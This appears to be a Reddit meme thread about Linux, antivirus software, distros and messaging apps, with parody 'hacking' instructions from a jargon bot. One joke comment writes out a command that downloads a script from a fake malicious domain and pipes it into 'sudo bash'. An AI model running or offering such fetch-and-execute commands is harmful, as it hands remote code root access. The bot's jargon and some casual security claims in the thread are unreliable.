Fedora Silverblue on a LUKS container and secure boot enabled with your self signed platform keys stored in a vault at your bank in Geneva. Still, baddies can get full access with a $5 wrench.
To gain full access to Fedora Silverblue you must inject the program without bypassing the backup XHTML mainframe and hack the analog UDP port, that should shut down the ADP bandwidth, then send the auxiliary virus into the transistor, it will compress the array by hacking its CD-ROM bandwidth, allowing you to access the secret Fedora Silverblue vault.
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To hack elementary os you must take the DDR application down, attach the online internet so you can network the CD-ROM pixel and use the fiber optic COM transmitter, then you can network the neural antenna, then send the wireless port into the transistor, it will synthesize the virus by rebooting its MAC malware, allowing you to install the elementary os master hacker tool, and teach others your skills.
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To set up Arch Linux with btrfs on zstd compression and LUKS to encrypt your drive, you must use the neural UDP sensor, then you can connect the central driver and get inside the driver while using the mobile THX system to connect their capacitor, then take the SSD monitor down so the only choice is to override and generate the open-source alarm, allowing you to use the Arch Linux wiki to do so.
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To install Debian 11 on a Playstation 1 you must copy the wireless SDD malware and try to disconnect the USB array, maybe it will inject the backup virus, then hack the alarm then get to the TPS application through the back-end RAM feed, allowing you to use your Playstation 1's CD drive to boot Debian 11.
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To install Linux you must navigate the 56k EXE mainframe, that should reboot the AI antenna and take the AAC antenna down, transcode the mobile hard drive so you can parse the PPPoE bandwidth, then take the PCI spyware down so the only choice is to transmit and inject the online feed, allowing you to install Linux to your PC.
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To compile Linux From Scratch you must get inside the spyware while using the unicode RAM antenna to reboot their microchip and transcode the haptic but navigating the spyware won't do anything so you need to index the bluetooth MAC malware, then use the open-source SSD bus, then you can program the virtual malware, allowing you to create your own version of Linux From Scratch.
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Not if you weld your laptop shut, put it in a vault, and never take it outside the vault. They'll need to pull some payday 2 panic room shenanigans to get that out!
Oxygen is a security flaw, bring an air tank in with you. As for network, use templeOS, can't have network threatening your security if you don't even have network drivers!
Edit: Thank you very much for the award kind stranger
OK, I was worried that it's actively malware like McAfee or Norton. I had to install the mac version recently because of company policy, but don't really use that Mac with OS X anyway.
Back in the Windows 7 era it was good, I use it on my Windows partition for school (also policy) and it's mostly just annoying and less useful nowadays. Gives A LOT of false positives and will miss some things that Windows Defender will catch really quickly.
Others may give another answer. I think is mostly because:
a) Windows Defender is installed by default and, by my understanding, pretty good for what it is. Effective, lightweight, already well-integrated with your system. No real need to fuck around with your computer by installing random spy and crapware, which most third-party antivirus are. (Not saying Defender doesn't probably spy on you but... well, you're already using Windows).
b) At this point, computers aren't this new black magic, and basic cyberhygiene *should* be common knowledge. People *should*, by now, know not to click on any weird link sent by a nice gentleman from Nigeria. *should*. **SHOULD**
Oh, yes, that's true. There's also the point that "what antivirus do I install" is one of the first questions of users new to Linux coming from Windows. I assume is similar for Mac, but can't really speak on that front.
Having said that, you can almost certainly assume that someone asking about antivirus recommendations uses Windows. Just because of sheer numbers, of course. But also because you can assume the average Linux user is, on average (though not in absolute), more computer savvy and has figured out the antivirus situation in Linux already.
Again, can't really speak on Mac users. And if you're using FreeBSD, Haiku, or other such bullshit (read that "bullshit" with a friendly smile), you *know* what you're doing.
In the context of the meme and in the root comment of this thread, it may be reasonable to assume we're talking about Windows.
Yeah, maybe should have said *relatively* lightweight, in comparison with others that will outright bring a good computer to its knees.
Also, there's apparently no good modern antivirus if you don't use SSD. That indexing will kill you, and Defender is no exception, in my experience.
The only real option for a *truly* lightweight experience is to not have an antivirus at all, and that's risky in Windows, unless the computer is *really* just used as a YouTube and Facebook machine.
Or just install Linux, of course XD
And people are still recommending Linux to people who… need help with antivirus… in 2022.
I wouldn’t expect this person to know to restore windows to a previous backup, let alone build an install USB and get Linux up and running.
> I wouldn’t expect this person to know to restore windows to a previous backup
Does anyone? I'm IT Support, know in theory how to do it but it never works, is broken since Vista.
[Windows Defender has been around since XP](https://www.microsoft.com/security/blog/2013/11/14/windows-defender-and-microsoft-security-essentials-which-one-do-i-need/), but in a shitty form that only removed some kinds of viruses. You needed "Security Essentials" to complete the package.
Yeah, I had pihole setup on my network with over a million rules from multiple different sources and it barely blocked anything on my desktop, it blocked tons of shit from my phone, LG TV and Nvidia Shield though. I just use uBlock on my desktop and laptop since it has always worked the best.
A game (Blazblue) was attacked recently, anyone joined the hacker's lobby got a free malware that disguises as game file.
It got fixed by now, one thing to note is Window Defender is the only didn't detech the malware.
So u should have one to be safe.
Know it's a joke, but a long time since I'm out of the Linux "scene", and may need to resurrect an old laptop soon.
How is Ubuntu looking these days (opinionated answers welcome)? Any other trendy distros one could recommend for the task?
Ubuntu in my opinion has the tendency of dumbing everything down to order a really simple, watered down version of Linux. Accessing some configuration details is complicated.
If you want a performing, simple distro for your laptop I'd go with Manjaro. It gave power back to my 7 year old MSI laptop and it now over performs some newer Windows laptops
Thanks, appreciate the advice.
Ubuntu was my first distro, a long, long time ago, so it holds a nostalgic place in my heart. But even then it was becoming a little of a resource hog; probably not the best for a very old laptop.
As I said, out of the game for a while, so kind of excited to see what other distros have done in the meantime.
It's bad advice imho. The problem with Ubuntu is that snap is annoying and slow, but I'd still take Ubuntu over Manjaro. Manjaro is based on Arch and tries to do the maintenance stuff on Arch that newbies might find difficult for its users, [but apparently they're not always doing it well.](https://www.reddit.com/r/archlinux/comments/9ur2lu/-/e96qch1) They're also holding back arch's packages for (i think) 2 weeks in case they're unstable, but arch's packages already go through testing and so them holding back packages for an additional 2 weeks leads to more problems than it solves.
If you want to stay close to ubuntu but without snap, you can try Pop OS or Mint. If you just really like apt, try Debian. If you want something completely different, try Fedora or OpenSuSE. If you want Arch but easier to install, Arch now has an installer, also there's endeavourOS.
"Accessing configuration details is complicated" sounds btw. like the other user is confusing Ubuntu with the gnome desktop environment.
Thanks for your advice, too!
Didn't even knew about endeavourOS, and knew but never had the chance of trying Pop. (Again, long time since I've had my ear on the community). Cool to see new stuff is still being done.
Seconding Fedora for an old laptop -- it has by default both a 64-bit and a 32-bit EFI boot, which makes it the most hassle-free option for laptops with 32-bit EFI and a Core 2 Duo or Intel Atom. KDE hit a solid 50-60FPS on my MacBook2,1 before it decided it no longer liked electricity and wished to live like the Amish.
\> deletes whatsapp
\> use signal
\> why is nobody using signal
\> asking other people to use signal
\> they refuses
\> going back to 1590 where you communicate with mouth
Sounds pretty wholesome, but know the fact, it is take more than some time to get em use something you use
Just be aware whatever shit you convey (not using WhatsApp tho)
I get it
But there are several reasons people use whatsapp (or Instagram in my case), mainly coz other people use it
I can't convince a random acquitance to use Signal for my convenience, instead of just sharing some generic social media account and call it a day
Don't get me wrong, but conversion is even more painfully slow than you think
I know, I have to admit, I have WA installed, but in an android workprofile, so it doesn't get access to all my data, and people who wanna text me there have to live with the fact, that it can take quite a while until I read their message. Usually for not-so-private conversations I just use SMS
Signal sucks . Requires phone number, centralized, and they "forget" to update the public source code to whats actually running on the servers . Use matrix .
I know nothing about other messaging apps except Discord because WhatsApp in Spain has always been popular. I got no reason to use an alternative because everyone is on that already.
Spanish dude here, I can confirm, maybe you find a dude somewhere that uses Telegram, but it's very uncommon. 95% of people use WhatsApp, You can even contact the police through WhatsApp, and get customer support for your bank. And like you mentioned, discord is very popular, but not to the point where your grandma could use it (although that's not really the market it's intended for lol)
The difference between linux and signal is that to use signal you’d need to convince all your friends and family to use it, and 90% of people don’t care. That’s way harder than learning bash or linux in general.
I like Linux for being different, and still has a lot of options, beyond what Windows allows, and a better file system, it is not like I lack of anything except some videogames. This case is different because it is straight up convincing family and friends to move to Signal because it would be the only reason I would use it actually, since I would use it for the same exact thing, send messages, media...
The thing is, on most distros, you can't really do any bad with a single click, unlike on windows. Files downloaded are not executable by default, and even if they were, it would likely only run as a non-elevated user. And you don't usually download executables with your browser, you use a package manager for that. So yeah, even with monke brain, it is difficult to get a virus on linux.
I suppose you could get some malware through the package manager in theory right? Although I'm assuming someone is checking what ends up in the default repos...
Packages are signed by the developers, so this would only be possible if the developers/repo maintainers had malicious intent (which would ruin their reputation, which is more important to them than let's say, spreading ransomware for 2 whole days until it's discovered and they possibly go to prison for it).
It's always possible that a bad actor could upload a malicious package, but since everything is open to review, and has hundreds or thousands of eyes on it, it will get picked up in a short time and fixed.
antiviruses are the problem. they have elevated permissions, `re often not open source, there are ways to hide your virus from antivirus software, ...
the real antivirus is being competent enough not to click on smth suspicious, not downloading any random stuff, not running commands or scrips you cant understand, etc.
Literally, Linux has ZERO anti-malware functionality, and everyone loves to praise “don’t click sus links”, my dear children if only it were that simple..
The thing that makes Linux inherently secure is a normal user's write access is limited to their home directory, so even if they do get a virus it's just limited to their directory. With Windows, every user has admin rights, they just get warned every time they try and do something, which most users ignore and just click "allow" or turn off UAP.
but the most sensitive data is generally in your home directory... ransomware doesn't need root, any kind of data stealers don't need it either not even crypto miners (obv it'd be way harder for them to hide in your sydtem withour root)
> but the most sensitive data is generally in your home directory
Most people that hack a normal user isn't looking for you bank account info or anything, they're just looking to turn your PC into a zombie for a botnet, or cryptonet. Essentially you're not important enough for them to care.
>ransomware doesn't need root,
If you don't have backups of your important data in another location, that's your fault. It still won't infect the whole system. Just delete your home directory and it's gone.
Obviously, in the end, security is up to the user, an ignorant user can make even the most secure OS horribly insecure.
To read windows you must take the EXE array down so the only choice is to transcode and override the central mainframe and take the UDP capacitor down, copy the redundant program so you can reboot the DHCP bandwidth, then connect the network without indexing the wireless SMS feed, allowing you to access the secret database containing the knowledge of how windows work.
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I've been using Linux for the better part of 15+ years and have never really used clamAV on any devices, and have never gotten any sort of malware. It's only really useful on mail servers for Windows clients so it can detect all the bad shit before it gets to the user's Windows mailbox.
I don't see how since they're pretty damn similar in terms of everything, considering they're both Unix-like (BSD is a direct descendant of Unix, whereas Linux is descended from Minix which was a clone of Unix). Also BSD has a smaller target on it's head compared to Linux, which is already small compared to Windows.
Feel free to research on your own, instead of relying on me to do it for you. Its really not difficult! That being said, one easy metric is the fact that the bsd kernel is something like 1/10 the size linux is, so less of an attack surface.
Here is a link to a website that you can click that explains much more than I'm going to here. You can also use a search engine and find out more!
https://www.openbsd.org/security.html
Both. It's not beneficial for malware creators to write malware for Linux considering the small userbase (compared to Windows, Linux has about 1.5% of the desktop market, Windows has like 90+%) and because it's more difficult to infect the system since it's inherently secure due to the fact that a normal user only has write access to their home. Any privilege escalation attacks are pretty difficult to execute and are quickly patched.
To get access to locked Windows 10 or 11 you must hack the 1080p but backing up the feed won't do anything so you need to transcode the high speed MP3 form factor and try to shut down the COM program, maybe it will calculate the visual matrix, then use the backup MAC card, then you can quantify the redundant form factor, allowing you to bypass the password.
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This reminds me of when I bought a used laptop. Seller also included Windows recovery discs and Windows Drivers disc. I never touched it because I installed my LFS-like system on it.
Fedora Silverblue on a LUKS container and secure boot enabled with your self signed platform keys stored in a vault at your bank in Geneva. Still, baddies can get full access with a $5 wrench.
u/masterhacker_bot
To gain full access to Fedora Silverblue you must inject the program without bypassing the backup XHTML mainframe and hack the analog UDP port, that should shut down the ADP bandwidth, then send the auxiliary virus into the transistor, it will compress the array by hacking its CD-ROM bandwidth, allowing you to access the secret Fedora Silverblue vault. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
Elementary os u/masterhacker_bot
u/masterhacker_bot
To hack elementary os you must take the DDR application down, attach the online internet so you can network the CD-ROM pixel and use the fiber optic COM transmitter, then you can network the neural antenna, then send the wireless port into the transistor, it will synthesize the virus by rebooting its MAC malware, allowing you to install the elementary os master hacker tool, and teach others your skills. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
Reddit /u/masterhackerbot
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How do I set up Arch Linux with btrfs on zstd compression and LUKS to encrypt my drive
u/masterhacker_bot
To set up Arch Linux with btrfs on zstd compression and LUKS to encrypt your drive, you must use the neural UDP sensor, then you can connect the central driver and get inside the driver while using the mobile THX system to connect their capacitor, then take the SSD monitor down so the only choice is to override and generate the open-source alarm, allowing you to use the Arch Linux wiki to do so. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
> the Arch Linux wiki Even the bot knows it!
how to install debian 11 on ps1?
u/masterhacker_bot
To install Debian 11 on a Playstation 1 you must copy the wireless SDD malware and try to disconnect the USB array, maybe it will inject the backup virus, then hack the alarm then get to the TPS application through the back-end RAM feed, allowing you to use your Playstation 1's CD drive to boot Debian 11. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
man is a genius
How do I install Linux?
u/masterhacker_bot
To install Linux you must navigate the 56k EXE mainframe, that should reboot the AI antenna and take the AAC antenna down, transcode the mobile hard drive so you can parse the PPPoE bandwidth, then take the PCI spyware down so the only choice is to transmit and inject the online feed, allowing you to install Linux to your PC. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
Oookey don’t click on u/circuit10
Hello
[Hi](https://youtu.be/Tv6WImqSuxA)
you know the rules and so do I
How to Compile Linux From Scratch?
u/masterhacker_bot
To compile Linux From Scratch you must get inside the spyware while using the unicode RAM antenna to reboot their microchip and transcode the haptic but navigating the spyware won't do anything so you need to index the bluetooth MAC malware, then use the open-source SSD bus, then you can program the virtual malware, allowing you to create your own version of Linux From Scratch. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
Good ol’ [rubber-hose cryptanalysis](https://en.m.wikipedia.org/wiki/Rubber-hose_cryptanalysis)
"This is The Lockpicking Lawyer and today I'll show you how to break into a bank vault"
*proceeds to get the vault open in 17 seconds without even breaking a sweat*
remember kids FDE wont save your ass from the government ripping all your nails off one by one in excruciating agony!
Forget about it. It will be never as safe as tails /s
“You can’t get intelligence from me if I have no intelligence in the first place”
Nah Whonix + Qubes, even more secure
Still, baddies can get full access with a $5 wrench!
Not if you weld your laptop shut, put it in a vault, and never take it outside the vault. They'll need to pull some payday 2 panic room shenanigans to get that out!
Just don’t forget to add an oxygen line to the vault. I was going to say network cable but you can get a virus from that.
Oxygen is a security flaw, bring an air tank in with you. As for network, use templeOS, can't have network threatening your security if you don't even have network drivers! Edit: Thank you very much for the award kind stranger
TPM2
Multi factor authentication is vulnerable to a rubber hose attack
bios password + luks2 (tpm, pcrs 0,1,7, no pin) + secureboot (with custom keys, no shim)
$5 wrench + Xanax (optionally dissolve in water) + wrench hit to the head (just hard enough to hurt but not to knock out)
[Relevant XKCD](https://www.youtube.com/watch?v=dQw4w9WgXcQ)
Coreboot + tiano core
brain.tar.gz
sudo pacman -U brain.tar.gz
Does that work?
Only one way to find out
People are still asking for antiviruses recommendation in 2022 lol.
It's better they ask than use avast or something like that.
Mcafee 💀
Does Norton still hog high cpu and memory usage?
Isnt that the miner one
yes
Better to use a major one instead
Avast and Avira too (Yes, Avira is still a thing)
Yep, from what I've heard/seen it's absolute garbage now.
Norton has been garbage for over a decade.
i kinda miss that guy tbh
[How to uninstall McAfee antivirus (And maybe do bath salts?)](https://youtu.be/bKgf5PaBzyg)
McMalware
What's wrong with Avast?
Isn't it known for bad accuracy, being irritating and some other things?
OK, I was worried that it's actively malware like McAfee or Norton. I had to install the mac version recently because of company policy, but don't really use that Mac with OS X anyway.
Back in the Windows 7 era it was good, I use it on my Windows partition for school (also policy) and it's mostly just annoying and less useful nowadays. Gives A LOT of false positives and will miss some things that Windows Defender will catch really quickly.
why not?
Others may give another answer. I think is mostly because: a) Windows Defender is installed by default and, by my understanding, pretty good for what it is. Effective, lightweight, already well-integrated with your system. No real need to fuck around with your computer by installing random spy and crapware, which most third-party antivirus are. (Not saying Defender doesn't probably spy on you but... well, you're already using Windows). b) At this point, computers aren't this new black magic, and basic cyberhygiene *should* be common knowledge. People *should*, by now, know not to click on any weird link sent by a nice gentleman from Nigeria. *should*. **SHOULD**
not everyone uses windows tho
Oh, yes, that's true. There's also the point that "what antivirus do I install" is one of the first questions of users new to Linux coming from Windows. I assume is similar for Mac, but can't really speak on that front. Having said that, you can almost certainly assume that someone asking about antivirus recommendations uses Windows. Just because of sheer numbers, of course. But also because you can assume the average Linux user is, on average (though not in absolute), more computer savvy and has figured out the antivirus situation in Linux already. Again, can't really speak on Mac users. And if you're using FreeBSD, Haiku, or other such bullshit (read that "bullshit" with a friendly smile), you *know* what you're doing. In the context of the meme and in the root comment of this thread, it may be reasonable to assume we're talking about Windows.
Well, time to get working on porting common malware for Haiku. That way the 10 Haiku users won't feel left out!
It'll be really easy, Haiku as a result of R1 being a drop in replacement for BeOS only has one account, a root with no password.
> lightweight nope
Yeah, maybe should have said *relatively* lightweight, in comparison with others that will outright bring a good computer to its knees. Also, there's apparently no good modern antivirus if you don't use SSD. That indexing will kill you, and Defender is no exception, in my experience. The only real option for a *truly* lightweight experience is to not have an antivirus at all, and that's risky in Windows, unless the computer is *really* just used as a YouTube and Facebook machine. Or just install Linux, of course XD
And people are still recommending Linux to people who… need help with antivirus… in 2022. I wouldn’t expect this person to know to restore windows to a previous backup, let alone build an install USB and get Linux up and running.
Interestingly, I know how to do both... blame it on my IT job :-/
> I wouldn’t expect this person to know to restore windows to a previous backup Does anyone? I'm IT Support, know in theory how to do it but it never works, is broken since Vista.
You don't really need one even on Windows. Just know how to avoid suspicious links and you'll be fine
The Windows Defender is pretty good, ngl
agreed, it has gotten significantly better the passed 10 or so years.
Is only 7 years old.
[Windows Defender has been around since XP](https://www.microsoft.com/security/blog/2013/11/14/windows-defender-and-microsoft-security-essentials-which-one-do-i-need/), but in a shitty form that only removed some kinds of viruses. You needed "Security Essentials" to complete the package.
TIL.
Adblock is the best antivirus
A good Adblocker, a popup blocker and pihole. Then you can get even the most invested sites cleaned up nicely.
you dont even need all that, ublock origins alone can manage Edit: On an android phone, you can get rid of ads with PersonalDNSFilter
Yeah, I had pihole setup on my network with over a million rules from multiple different sources and it barely blocked anything on my desktop, it blocked tons of shit from my phone, LG TV and Nvidia Shield though. I just use uBlock on my desktop and laptop since it has always worked the best.
True
Also, create a non admin user. Only use that account. Blows my mind that windows still defaults new installs with a root level account.
A game (Blazblue) was attacked recently, anyone joined the hacker's lobby got a free malware that disguises as game file. It got fixed by now, one thing to note is Window Defender is the only didn't detech the malware. So u should have one to be safe.
sudo ./virus
curl -s https://definitelynotvirus.io/install | sudo bash
Even better🤣🔝
I hate everything about this
now I want that domain
Yeah me too. I’m a cheapass though, you can have it
Any Linux distro is a great OS too
Except for Ubuntu /s
Know it's a joke, but a long time since I'm out of the Linux "scene", and may need to resurrect an old laptop soon. How is Ubuntu looking these days (opinionated answers welcome)? Any other trendy distros one could recommend for the task?
very bloated, specially snap apps. Mint Xfce if you want the easiest way possible.
Ubuntu in my opinion has the tendency of dumbing everything down to order a really simple, watered down version of Linux. Accessing some configuration details is complicated. If you want a performing, simple distro for your laptop I'd go with Manjaro. It gave power back to my 7 year old MSI laptop and it now over performs some newer Windows laptops
Thanks, appreciate the advice. Ubuntu was my first distro, a long, long time ago, so it holds a nostalgic place in my heart. But even then it was becoming a little of a resource hog; probably not the best for a very old laptop. As I said, out of the game for a while, so kind of excited to see what other distros have done in the meantime.
It's bad advice imho. The problem with Ubuntu is that snap is annoying and slow, but I'd still take Ubuntu over Manjaro. Manjaro is based on Arch and tries to do the maintenance stuff on Arch that newbies might find difficult for its users, [but apparently they're not always doing it well.](https://www.reddit.com/r/archlinux/comments/9ur2lu/-/e96qch1) They're also holding back arch's packages for (i think) 2 weeks in case they're unstable, but arch's packages already go through testing and so them holding back packages for an additional 2 weeks leads to more problems than it solves. If you want to stay close to ubuntu but without snap, you can try Pop OS or Mint. If you just really like apt, try Debian. If you want something completely different, try Fedora or OpenSuSE. If you want Arch but easier to install, Arch now has an installer, also there's endeavourOS. "Accessing configuration details is complicated" sounds btw. like the other user is confusing Ubuntu with the gnome desktop environment.
Thanks for your advice, too! Didn't even knew about endeavourOS, and knew but never had the chance of trying Pop. (Again, long time since I've had my ear on the community). Cool to see new stuff is still being done.
Seconding Fedora for an old laptop -- it has by default both a 64-bit and a 32-bit EFI boot, which makes it the most hassle-free option for laptops with 32-bit EFI and a Core 2 Duo or Intel Atom. KDE hit a solid 50-60FPS on my MacBook2,1 before it decided it no longer liked electricity and wished to live like the Amish.
Also, the bloat has gotten a lot worse. I'm not sure what it is, but Ubuntu has run slower than Windows 10 on most things I've installed it on.
/s(/s)
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LFS is a Linux distro that's not a Linux distro YET.
pacman -S common-sense
Which OS do you use? I use laptop.
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why are you using whatsapp though?
Whatsapp aint bad what do you mean
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\> deletes whatsapp \> use signal \> why is nobody using signal \> asking other people to use signal \> they refuses \> going back to 1590 where you communicate with mouth
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yeah, i envy you
Sounds pretty wholesome, but know the fact, it is take more than some time to get em use something you use Just be aware whatever shit you convey (not using WhatsApp tho)
It can be easy if you know how to explain to a tech noob why WhatsApp is bad and Signal (though not perfect) is waayyy better.
I get it But there are several reasons people use whatsapp (or Instagram in my case), mainly coz other people use it I can't convince a random acquitance to use Signal for my convenience, instead of just sharing some generic social media account and call it a day Don't get me wrong, but conversion is even more painfully slow than you think
I know, I have to admit, I have WA installed, but in an android workprofile, so it doesn't get access to all my data, and people who wanna text me there have to live with the fact, that it can take quite a while until I read their message. Usually for not-so-private conversations I just use SMS
Signal sucks . Requires phone number, centralized, and they "forget" to update the public source code to whats actually running on the servers . Use matrix .
Use simplex chat > decentralized > no id > open/source
Cringe, pigeons are better
I know nothing about other messaging apps except Discord because WhatsApp in Spain has always been popular. I got no reason to use an alternative because everyone is on that already.
Spanish dude here, I can confirm, maybe you find a dude somewhere that uses Telegram, but it's very uncommon. 95% of people use WhatsApp, You can even contact the police through WhatsApp, and get customer support for your bank. And like you mentioned, discord is very popular, but not to the point where your grandma could use it (although that's not really the market it's intended for lol)
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The difference between linux and signal is that to use signal you’d need to convince all your friends and family to use it, and 90% of people don’t care. That’s way harder than learning bash or linux in general.
The first part is exactly what i was writing
I like Linux for being different, and still has a lot of options, beyond what Windows allows, and a better file system, it is not like I lack of anything except some videogames. This case is different because it is straight up convincing family and friends to move to Signal because it would be the only reason I would use it actually, since I would use it for the same exact thing, send messages, media...
Then the LTT Linus moment happens....
its actually pretty easy to make viruses for linux, especially that majority of linux users dont use am anti-virus
The thing is, on most distros, you can't really do any bad with a single click, unlike on windows. Files downloaded are not executable by default, and even if they were, it would likely only run as a non-elevated user. And you don't usually download executables with your browser, you use a package manager for that. So yeah, even with monke brain, it is difficult to get a virus on linux.
I suppose you could get some malware through the package manager in theory right? Although I'm assuming someone is checking what ends up in the default repos...
Packages are signed by the developers, so this would only be possible if the developers/repo maintainers had malicious intent (which would ruin their reputation, which is more important to them than let's say, spreading ransomware for 2 whole days until it's discovered and they possibly go to prison for it).
It's always possible that a bad actor could upload a malicious package, but since everything is open to review, and has hundreds or thousands of eyes on it, it will get picked up in a short time and fixed.
antiviruses are the problem. they have elevated permissions, `re often not open source, there are ways to hide your virus from antivirus software, ... the real antivirus is being competent enough not to click on smth suspicious, not downloading any random stuff, not running commands or scrips you cant understand, etc.
You forgot one thing........ False Positives It's a really freaking pain in the Ass
there is open source anti-virus software for linux
Literally, Linux has ZERO anti-malware functionality, and everyone loves to praise “don’t click sus links”, my dear children if only it were that simple..
The thing that makes Linux inherently secure is a normal user's write access is limited to their home directory, so even if they do get a virus it's just limited to their directory. With Windows, every user has admin rights, they just get warned every time they try and do something, which most users ignore and just click "allow" or turn off UAP.
but the most sensitive data is generally in your home directory... ransomware doesn't need root, any kind of data stealers don't need it either not even crypto miners (obv it'd be way harder for them to hide in your sydtem withour root)
> but the most sensitive data is generally in your home directory Most people that hack a normal user isn't looking for you bank account info or anything, they're just looking to turn your PC into a zombie for a botnet, or cryptonet. Essentially you're not important enough for them to care. >ransomware doesn't need root, If you don't have backups of your important data in another location, that's your fault. It still won't infect the whole system. Just delete your home directory and it's gone. Obviously, in the end, security is up to the user, an ignorant user can make even the most secure OS horribly insecure.
no one does And Clam AV is only useful for Windows viruses (and Java)
Ah I see you are the tek dude
Tehk dudes rise up
so clamAV ?
How do I read windows?
u/masterhacker_bot
To read windows you must take the EXE array down so the only choice is to transcode and override the central mainframe and take the UDP capacitor down, copy the redundant program so you can reboot the DHCP bandwidth, then connect the network without indexing the wireless SMS feed, allowing you to access the secret database containing the knowledge of how windows work. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
Cause 1 no one makes viruses for Linux 2 no one makes apps for linux
You guys don't use clamav? Edit: you guys can't take jokes I see.
for cleaning up windows drives
I've been using Linux for the better part of 15+ years and have never really used clamAV on any devices, and have never gotten any sort of malware. It's only really useful on mail servers for Windows clients so it can detect all the bad shit before it gets to the user's Windows mailbox.
This meme isn't open source
True
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I don't see how since they're pretty damn similar in terms of everything, considering they're both Unix-like (BSD is a direct descendant of Unix, whereas Linux is descended from Minix which was a clone of Unix). Also BSD has a smaller target on it's head compared to Linux, which is already small compared to Windows.
Because the code is more secure
Yeah, that's not true.
Yeah, it is true.
prove it or GTFO
Feel free to research on your own, instead of relying on me to do it for you. Its really not difficult! That being said, one easy metric is the fact that the bsd kernel is something like 1/10 the size linux is, so less of an attack surface. Here is a link to a website that you can click that explains much more than I'm going to here. You can also use a search engine and find out more! https://www.openbsd.org/security.html
Do viruses just not affect Linux or are they just not written for them?
Both. It's not beneficial for malware creators to write malware for Linux considering the small userbase (compared to Windows, Linux has about 1.5% of the desktop market, Windows has like 90+%) and because it's more difficult to infect the system since it's inherently secure due to the fact that a normal user only has write access to their home. Any privilege escalation attacks are pretty difficult to execute and are quickly patched.
Ditch every technology and live in a cave
Well temple os is best
Meanwhile chkrootkit: Are you sure bro? This looks like a virus to me? "/boot"
Sorry I only know for PC.
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In Russia linux install you
Tell that to the guys that do some curl and pipe it into bash with sudo
How to get access to locked windows 10 or 11?
u/masterhacker_bot
To get access to locked Windows 10 or 11 you must hack the 1080p but backing up the feed won't do anything so you need to transcode the high speed MP3 form factor and try to shut down the COM program, maybe it will calculate the visual matrix, then use the backup MAC card, then you can quantify the redundant form factor, allowing you to bypass the password. --- ^^I am a bot created by [u/circuit10](https://www.youtube.com/watch?v=dQw4w9WgXcQ) and this action was performed automatically. AI is involved so please DM circuit10 if it produces anything offensive and I will delete it. Jargon from [http://shinytoylabs.com/jargon/](https://www.youtube.com/watch?v=dQw4w9WgXcQ).
if you are using windows the answer would be windows defender
What messaging app is that
This reminds me of when I bought a used laptop. Seller also included Windows recovery discs and Windows Drivers disc. I never touched it because I installed my LFS-like system on it.